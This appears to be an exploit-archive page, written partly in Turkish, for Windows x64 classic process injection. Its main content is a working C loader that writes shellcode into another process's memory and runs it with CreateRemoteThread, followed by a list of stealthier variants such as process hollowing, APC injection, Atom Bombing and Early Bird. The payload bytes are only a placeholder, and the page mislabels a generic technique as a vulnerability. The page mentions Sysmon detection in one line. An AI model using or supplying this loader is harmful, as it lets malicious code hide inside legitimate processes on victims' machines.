VULN REPORT
/
shellcode
/
ID: 255
Windows/x64 Classic Process Injection - Remote Thread Shellcode
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 36 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_255.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">
<div class="border-l-4 border-indigo-500 pl-5 py-3 bg-indigo-50/60 rounded-r-xl">
<p class="text-xs font-bold uppercase tracking-widest text-indigo-700 mb-1">Modern Teknik - Windows x64 - Process Injection</p>
<h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x64 Classic Process Injection - Remote Thread</h2>
<p class="text-sm text-slate-600 mt-2">Process injection, shellcode'u megru bir Windows process'inin bellek alanina yazarak calistirmayi saglar. Bu sayede zarali kod megru surecin altinda calisir.</p>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">C ile Classic Injection</h3>
<p class="text-sm text-slate-700 mb-3">Sysmon Event ID 8 ve 10 ile tespit edilir.</p>
<div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
#include <windows.h>
unsigned char sc[] = "\x90\x90..."; // payload
int main(int argc, char** argv) {
DWORD pid = atoi(argv[1]);
HANDLE hP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID m = VirtualAllocEx(hP, NULL, sizeof(sc),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hP, m, sc, sizeof(sc), NULL);
HANDLE hT = CreateRemoteThread(hP, NULL, 0,
(LPTHREAD_START_ROUTINE)m, NULL, 0, NULL);
WaitForSingleObject(hT, INFINITE);
CloseHandle(hT); CloseHandle(hP);
}
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Gelismis Varyantlar</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Process Hollowing - Suspend + unmap + yeni image
APC Injection - QueueUserAPC ile thread uyandirma
Atom Bombing - GlobalAddAtom + NtQueueApcThread
Early Bird - Suspended process'e erken inject
</div>
</div>
</div>
Entry Stats
Views
36
Downloads
6
Comments
0